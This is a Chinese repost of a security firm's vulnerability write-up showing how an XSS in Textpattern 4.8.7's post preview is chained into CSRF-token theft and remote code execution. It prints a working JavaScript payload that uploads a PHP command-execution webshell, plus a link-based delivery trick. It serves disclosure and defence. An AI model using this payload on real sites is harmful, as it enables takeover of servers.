利用 XSS 在 Textpattern 4.8.7 中获取 RCE

admin 2024年5月30日22:15:26评论7 views字数 3811阅读12分42秒阅读模式

利用 XSS 在 Textpattern 4.8.7 中获取 RCE

作为我们对开源安全持续承诺的一部分,Pentest Ltd 对 Textpattern 版本 4.8.7 进行了一项研究项目。

Textpattern 是一款免费的开源 PHP 和 MySQL 内容管理系统。据builtwith.com 称,该系统已在两千多个网站上公开使用。

在这种情况下,未经身份验证的攻击者可以发起攻击,导致后端服务器上出现远程代码执行 (RCE)。要实现此目的,受害者必须点击嵌入 HTML 标签和 JavaScript 命令的恶意生成的链接。如果受害者拥有足够的权限并建立了身份验证会话,则单击后即可利用该应用程序。

寻找漏洞

帖子预览功能通过“Body”参数存在 XSS 漏洞。此漏洞可用于窃取 CSRF 令牌,从而通过插件上传功能实现任意代码执行。

以下显示用于确认预览是否存在漏洞的HTTP请求:

GET /textpattern/index.php?Body=A+test+article.+%0D%0A%0D%0A%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&app_mode=async&view=preview HTTP/1.1Host: 192.168.127.128Cookie: [...] Valid Cookie is Added By the Victim’s Browser [...]Connection: close

默认情况下,应用程序通过 HTTP POST 提交预览请求。POST 正文中的数据和 GET URL 中的数据没有区别,因此可以通过链接利用此漏洞。

解码后,HTML有效负载如下所示:

<img src=x onerror=alert(1)>

其中包括一个新的“img”标签,当在浏览器中查看时会执行弹出消息:

利用 XSS 在 Textpattern 4.8.7 中获取 RCE

未经身份验证的攻击者知道此问题后,可以为任何 textpattern 安装创建 URL。攻击者无需经过身份验证即可访问 textpattern 的目标安装。受害者必须在经过身份验证时与有效负载进行交互。

如果受害者可以访问“插件”功能,攻击者可以通过将 PHP 文件上传到服务器来获得远程代码执行 (RCE)。插件上传功能需要有效的“_txp_token”,它可充当跨站点请求伪造 (CSRF) 防御。CSRF 令牌在用户会话期间是静态的。它可在 DOM 中的以下位置轻松访问:

<script>var textpattern = {"_txp_uid":"b52057c79f0e75619c9f4c14862beb32","event":"plugin","step":"plugin_upload","_txp_token":"c33a3808f37893bcf79b5dff8fc725b9","ajax_timeout":30000,"prefs":{"max_file_size":"2000000","max_upload_size":"2097152","production_status":"testing","do_spellcheck":"#page-article #body, #page-article #title,#page-image #image_alt_text, #page-image #caption,#page-file #description,#page-link #link-title, #page-link #link-description","language_ui":"en-gb","message":"<span class="ui-icon ui-icon-{status}"></span> {message}","messagePane":"<span class="messageflash {status}" role="alert" aria-live="assertive">n    {message}n    <a class="close" role="button" title="{close}" href="#close"><span class="ui-icon ui-icon-close">{close}</span></a>n</span>"},"textarray":{}};</script>

要利用此漏洞,攻击者需要使用 JavaScript 请求“/textpattern/index.php”URL 并从上面突出显示的位置提取“_txp_token”。以下 JavaScript 用于窃取令牌,然后上传 PHP webshell:

<script>// return the response text from the requestfunction httpGet(theUrl){    var xmlHttp = new XMLHttpRequest();    xmlHttp.open( "GET", theUrl, false ); // false for synchronous request    xmlHttp.send( null );    return xmlHttp.responseText;}// steal CSRF token from DOM in the "/textpattern/index.php"function stealToken() {  var start = '"_txp_token":"';  var end   = '","ajax_timeout":';  var url   = '/textpattern/index.php';  var res   = httpGet(url);  var token =  res.substring(res.indexOf(start) + start.length, res.indexOf(start) + start.length + 32 );  return token;}// upload webshell using the token.function uploadWebShell(token) {  fetch('/textpattern/index.php',{    method: 'POST',    headers: {      'Content-Length': '667',       'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryozIzNEFsufRB6LpY',       'Connection': 'close'    },    credentials: 'include',    body: '------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="theplugin"; filename="csrfshell.php"x0dx0aContent-Type: application/octet-streamx0dx0ax0dx0a<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>x0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="install_new"x0dx0ax0dx0aUploadx0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="event"x0dx0ax0dx0apluginx0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="step"x0dx0ax0dx0aplugin_uploadx0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpYx0dx0aContent-Disposition: form-data; name="_txp_token"x0dx0ax0dx0a'+token+'x0dx0a------WebKitFormBoundaryozIzNEFsufRB6LpY--x0dx0a'  });}uploadWebShell(stealToken());</script>

上述有效载荷可以通过链接传递,技术如下:

/textpattern/index.php?Body=<img src=x onerror=eval(atob('<PAYLOAD>'))>&app_mode=async&view=preview

“eval”函数执行了使用“atob”进行 Base64 解码的有效载荷。要利用此功能,完整的 JavaScript 有效载荷必须先进行 Base64 解码,然后进行 URL 编码,然后粘贴到上面的“<PAYLOAD>”标记上。

利用该脚本后,可以访问新的“csrfshell.php”脚本,该脚本执行“cmd”参数中提供的操作系统命令:

利用 XSS 在 Textpattern 4.8.7 中获取 RCE

https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/

原文始发于微信公众号(Ots安全):利用 XSS 在 Textpattern 4.8.7 中获取 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月30日22:15:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 XSS 在 Textpattern 4.8.7 中获取 RCEhttps://cn-sec.com/archives/2796018.html

发表评论

匿名网友 填写信息